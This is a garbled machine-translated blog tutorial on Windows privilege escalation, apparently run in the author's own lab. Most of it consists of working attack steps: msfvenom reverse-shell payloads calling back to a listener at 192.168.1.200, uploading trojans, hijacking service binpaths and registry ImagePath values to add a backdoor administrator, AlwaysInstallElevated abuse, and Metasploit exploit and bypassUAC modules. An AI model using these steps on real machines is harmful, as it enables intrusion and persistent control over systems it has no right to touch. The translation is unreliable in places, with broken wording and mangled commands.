The article directories

  • Mention right instructions
    • Windows entitlement type
    • The preparatory work
      • Manual configuration Vulnerability
  • Right to mention
    • MSF commands are often used to raise weights
    • Windows Trusted Service path (insecure file/folder permissions)
      • Cause of leak
      • Conditions of use
      • Against presentation
      • MSF load
    • Insecure service permissions
      • Cause of leak
      • Conditions of use
      • Against presentation
      • MSF load
    • Unsafe registry permissions
      • Cause of leak
      • Conditions of use
      • Against presentation
      • Unsafe registry permissions
    • Always Install Elevated
      • Conditions of use
      • Against presentation
      • MSF load
    • Windows kernel vulnerability
      • Open source script
      • MSF load
    • Using the Potato vulnerability
      • Potato varieties
    • Bypassing user account control (bypassUAC)
      • Using the demonstration
      • BypassUAC variant

Mention right instructions

Windows as a very perfect and mature system, has a very powerful authority management system, generally mature project, also can have the permission of relatively complete classification system, we can get to the permissions are usually common user permissions or administrator privileges, Windows to mention right in the main means to upgrade our permissions to the system administrator (the system). It can not only take advantage of system vulnerabilities, but also the defects of some software programs as a way to raise rights. Permission level: Common user (common user) < administrator (administrator or other users in the administrator group) < System administrator, super administrator (System) Windows Vulnerability summary: github.com/SecWiki/win…

Windows entitlement type

Raising rights is generally divided into two kinds:

  1. Local entitlement: Users with low privileges can exploit some vulnerabilities to change permissions to administrator level.
  2. Remote entitlement: You can directly obtain administrator rights during remote attacks.

After that, most of the rights are local rights!

The preparatory work

Before proceeding with Windows rights raising, you’d better know the following

  1. Windows information collection, penetration test commonly used commands: xunmi.blog.csdn.net/article/det…
  2. How do I use metasploit? Basis (auxiliary, exploits, meterpreter) : xunmi.blog.csdn.net/article/det…
  3. How do I use metasploit? Advanced (msfvenom = payloads + encoders) : xunmi.blog.csdn.net/article/det…

In the real penetration environment, if you understand Windows common commands, skilled use of MSF and CS, both efficiency and success rate will be much higher.

The premise of local rights raising is that we have got the console of the target user with low permission. Here, my target is running Windows7 system. The information is generally shown as follows.



At present I have put the target on our MSF and tried to use the named pipe to raise the rights (getsystem) and failed. (the principle of a named pipe is roughly in the system administrator rights to create a service process, and then with the service process to establish a communication pipe connection with administrative privileges, to achieve the purpose of get administrator privileges), most of the defects in the current system have been repaired, support the right way of machine is running out.

Manual configuration Vulnerability

  1. createC:\Program Files\A app\A exe\myexe.exeFolder that does not exist in path,myexe.exeYou can directly create a new text file rename to get! Give full control of an app folder to all users (everyone). If you can’t find everyone, add it manually!

  2. Enter in CMD,SC Create "Test Service" binPath= "C:\Program Files\A app\A exe\myexe.exe" start= autoCreate a service
  3. And open the registry (presswin+RAnd then typeregedit) finds the created serviceHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\services\ Test Service
  4. Give it full control to everyone, too!

Right to mention

General Windows7 default user will be an administrator user, we here in order to simulate the real environment, first in the account management center to establish a test account for standard user rights!

MSF commands are often used to raise weights

Incognito needs to be loaded in sessions
load incognito
# check the current available users
list_tokens -u
# Switch user
impersonate_token "Username"
Copy the code

Windows Trusted Service path (insecure file/folder permissions)

Cause of leak

This vulnerability are mainly man-made causes, mostly due to improper service path of the administrator or the software configuration and the main cause of the vulnerability is analytical service binaries exist in the corresponding file path space System caused by the ambiguity, because Windows services are usually has a System administrator (System) permission to run, so we are If masquerading as a system service process, you can obtain system administrator privileges! Such as:

There is a path in the system service
C:\Program Files\Firefox Developer Edition\firefox.exe
# this path has many ambiguities, such as
C:\Program.exe
C:\Program Files\Firefox.exe
C:\Program Files\Firefox Developer.exe
C:\Program Files\Firefox Developer Edition\firefox.exe
Copy the code

First of all, we can enter the following command in the target shell. If there is a service item with space cut and no quotation marks in the path, it represents the existence of this vulnerability!

wmic service get name,displayname,pathname,startmode
Find syntax quickly
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
Copy the code

Conditions of use

The path that is currently available to us isC:\Program Files\A app\A exe\myexe.exe

First check that our current user has sufficient permissions to use the target path

icacls "C:\Program Files\A app"If yes, the user belongs to the groupF(Full control),CI(Subfolder inheritance permissions),OI(Subfile inheritance permissions)These three properties, that means we have enough authority to manipulate it.

Against presentation

From the path above we can see that we can try to exploit the path flaw to execute the A.xe file, so we create an attack payload and name it A.xe

# here my drone is 32 bit so attack load written can directly, if it is 64, you need to use Windows/x64 meterpreter/reverse_tcp!!!!!!
This command needs to be executed outside msfConsole!
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=9999 -f exe -o A.exe
# enable listening in MSF (this command is executed in MSfConsole)
handler -H 192.168.1.200 -P 9999 -p windows/meterpreter/reverse_tcp
# Go to the target non-admin console (if you don't know where to do this, you can check out MSF first!!)
session 5
Upload file to specified folder (this is done in session!!)
upload A.exe "C:\Program Files\A app"
Restart service (this is performed in the target shell!! Enter the target shell by typing shell in Sessions.)
# If there is a message indicating insufficient permissions, then this means that the target machine is not available, you can try to change a service test!
sc stop "Test Service"
sc start "Test Service"
Copy the code

Under normal circumstances, we will be forcibly disconnected shortly after connecting, which is also the Windows security mechanism plays a role, because our service is not normally connected after starting, so it will soon be cut off by Windows, if you do not want to be cut off by Windows, we need to carry out a process migration! In the listener, we can perform automatic process migration

Load the listener module
use exploit/multi/handler
Start the process migration module
set autorunscript migrate -f
# General Settings
set LHOST 192.168.1.200
set LPORT 9999
The payload must be exactly the same as the attack payload, otherwise the connection will fail!!
set payload windows/meterpreter/reverse_tcp
# run a listener to start the migration module.
run
Copy the code



PS: My goal above is to use the path space, but if you have permission, you can also replace the specified file with your Trojan horse, this is called unsafe file/folder permissions, such as the above we directly replacemyexe.exe, but usually this kind of file will be running by the system and cannot be replaced! So I’m not going to do that.

MSF load

In addition to the above manual operations, we can also use MSF scripts to automatically lift weights through the trusted service path!

Load the trusted service path raise module
use exploit/windows/local/unquoted_service_path
# Set empowerment targets
set sessions 1
# run
run
Copy the code

It can be seen that this module can quickly help us find the service path to lift weights, but I failed to restart the service because of some configuration errors

Insecure service permissions

Cause of leak

This is also the use of system services, and the above space is different, here is the use of improper configuration caused by we have access to the target service executable file path modification to achieve the purpose of running our specified Trojan!

Conditions of use

Accesschk Permission query tool download address: docs.microsoft.com/zh-cn/sysin… This is an official Microsoft tool! Usage:

You can select the 64-bit or 32-bit version based on the current system
accesschk.exe -ucqv "Username" * /accepteula
accesschk64.exe -ucqv "Username" * /accepteula
Then look for the service with full control (services_all_access)
Copy the code

Services_all_access: Has full control over the properties of this service



Here I’ll take the service I created above

First let’s look at the details of this service:sc qc "Test Service"

Here we’re going to focus onBINARY_PATH_NAMEThe binary file path is the executable file path. Although I say path here, any command can be executed here, and it will be run as a system administrator.

Against presentation

There are some problems in my environment configuration, so it leads to the regular user operation service. In order to facilitate the demonstration, I directly use the administrator identity to run CMD to demonstrate! In addition to allowing the target to run our Trojan using a high-privilege user as demonstrated above, we can also use the following methods to create a new administrator user to achieve the goal of raising rights

Create user root with password toor
sc config "Test Service" binpath= "net user root toor /add"
# restart service
sc stop "Test Service"
sc start "Test Service"
Add our new user to the admin group
sc config "Test Service" binpath= "net localgroup Administrators root /add"
It is best to return the service to its original state at last!
sc config "Test Service" binpath= "C:\Program Files\A app\A exe\myexe.exe"
Copy the code

In this way, we can obtain a user with administrator rights, indirectly achieve the goal of power

MSF load

This can also be done automatically through insecure service permissions using MSF scripts!

Load the service permission module
use exploit/windows/local/service_permissions
# Set empowerment targets
set sessions 1
# run
run
Copy the code

For example, we have successfully carried out the exercise of rights

Unsafe registry permissions

Cause of leak

And we’re using the same thing hereTest ServiceTo do our goal test, similar to the above service, here we are going to modifyImagePathPath information, to achieve the purpose of malicious script execution!

Conditions of use

Check the registry permission we need to use: subinacl.exe, but this tool has been deleted in the Official website of Microsoft, I have not found other trusted download source, we can find it on the Internet, CSDN download resources should have, I was planning to upload, the result was reminded of existing resources!

If we want to upload a file to a destination, we usually choose to upload it to a temporary folder
cd %temp%
# upload folder
upload -f subinacl.exe
Mysql > select * from Test Service
.\subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /display
Copy the code

Here we can see that we can not proceed to the next step if we do not find the registry with full control of the target!

Against presentation

Here we use an MSF script to create an administrator account!

Create a Trojan to create a user
msfvenom -p windows/adduser USER=QAQ PASS=1qaz@WSX -f exe -a x86 --platform windows > adduser.exe
# upload the Trojan horse to the destination host (if you cannot upload it to the current directory, you can now CD %temp% to the destination's temporary directory)
upload adduser.exe
Alter registry (execute in shell)
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\xunmi\AppData\Local\Temp\adduser.exe" /f
If you have permission, restart the service
sc stop "Test Service"
sc start "Test Service"
If not, restart the machine to restart the service effect
shutdown /r /t 0
# You'd better recover after you finish
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Program Files\A app\A exe\myexe.exe" /f
Copy the code

Here for the convenience of demonstration, I will not restart, using the administrator to restart the service, successfully let our designated user online! And this user also has administrator rights!

Unsafe registry permissions

The following are common registries that may be utilized

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
Copy the code

Always Install Elevated

This is also a policy setting that allows any user on the system to have system Administrator privileges (MSI) installed. This permission is disabled by default and needs to be enabled manually!

PS: Local Group Policy Editor (gpedit.msc) This vulnerability only exists in Windows Professional, Enterprise or Server versions. The Windows7 Home version I used before did not have this vulnerability, so I changed my target machine to Windows Server 2016

Conditions of use

First, we ran the following command to see if we received the prompt AlwaysInstallElevated REG_DWORD 0x1, which would indicate that the system was always installed with high permissions.

# Check whether it is enabled
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If it is not enabled, you can manually enable it
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Copy the code

Against presentation

Here we need to generate a.msi installation package, MSF currently can not generate a true. Msi format program, false. Msi format can not obtain the system administrator permission, so we can use special generated. .msi format installation package generator download address: www.exemsi.com/downloads/m…

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=7999 -f exe -oNon-toxic and natural. Exe# enable monitor
handler -H 192.168.1.200 -P 7999 -p windows/meterpreter/reverse_tcp
Copy the code

Use MSI to generate installation packages, and then pass the generated installation packages to the target machine for running!

MSF load

This can also be done automatically through insecure service permissions using MSF scripts!

Load always installs lift modules with high permissions
use exploit/windows/local/always_install_elevated
# Set empowerment targets
set sessions 1
# run
run
Copy the code

Because I am a home version system, I should not support this service, which may lead to the completion of the execution did not obtain the system administrator rights.

Windows kernel vulnerability

There are many kinds of Windows kernel vulnerabilities. If we detect them one by one, it will be time-consuming and exhausting. The basic idea is to check the specific version information of the other system and the installed vulnerability patch information, and compare whether there are known vulnerabilities according to these information.

Open source script

Watson: patch scanning tool for Windows10 platform. Github.com/rasta-mouse… Sherlock: Windows vulnerability scanning tool. https://github.com/rasta-mouse/Sherlock

MSF load

MSF vulnerability scanning module for Windows system generally uses the following two modules

View the installed patch of the target
post/windows/gather/enum_patches
# Look for vulnerabilities that the target can exploit
post/multi/recon/local_exploit_suggester
Copy the code

For example, we used: local_exploit_suggester

Automatic scanning for vulnerabilities existing in target hosts
use post/multi/recon/local_exploit_suggester
Select the target host
set session 2
# Display details (default not to display details!)
set showdescription true 
Copy the code



So I’m going to use the scan herems13_053_schlampereivulnerability

Select the attack payload
use exploit/windows/local/ms13_053_schlamperei
# select target (my previous target 2 was disabled by accident, and then I reconnected to target 3, both of which were the same host)
setg session 3
# start
run
Copy the code



You can see that we have successfully raised rights with MSF.

Using the Potato vulnerability

github.com/foxglovesec… Potato mention right principle: https://www.freebuf.com/sectool/98316.html. In Windows 7, Potato is an automatic update system that can trigger a button immediately. In Windows 7, Potato is an automatic update system that can trigger a button immediately. Since Potato was developed in c#, we need a.net environment. I have not successfully reproduced this way of raising rights for the time being, and I will make up for it after the successful reproduction.

Potato varieties

Origin Potato: github.com/foxglovesec… RottenPotato & JuicyPotato: github.com/ohpe/juicy-… RoguePotato: github.com/antonioCoco… SweetPotato: github.com/CCob/SweetP…

Bypassing user account control (bypassUAC)

When a user in the Administrator group performs some dangerous operations, the system will pop up a prompt box for user account control. This prompt box will disable many attacksbypassUACIt’s a way to get around this user control.

Using the demonstration

# loading bypassUAC
use exploit/windows/local/bypassuac
# routine set, the default load for Windows/meterpreter/reverse_tcp attack
setPayload Attack payloadsetLHOST Indicates the local addresssetLPORT port# select the target that you want to use bypassUAC
set session 1
run
# Main: The prerequisite for success is that the user currently under our control is in the user administrator group!
# use bypassUAC to successfully get the target console by entering getSystem.
getsystem
Copy the code

BypassUAC variant

inmsfconsoleIn the inputsearch bypassuacYou can view manybypassUACVariety. If one doesn’t work, try more. (The first version of bypassUAC is blocked by antivirus software, so there are a lot of variations to try to get around it!)

Finally put a big lift right tutorial: www.freebuf.com/articles/sy…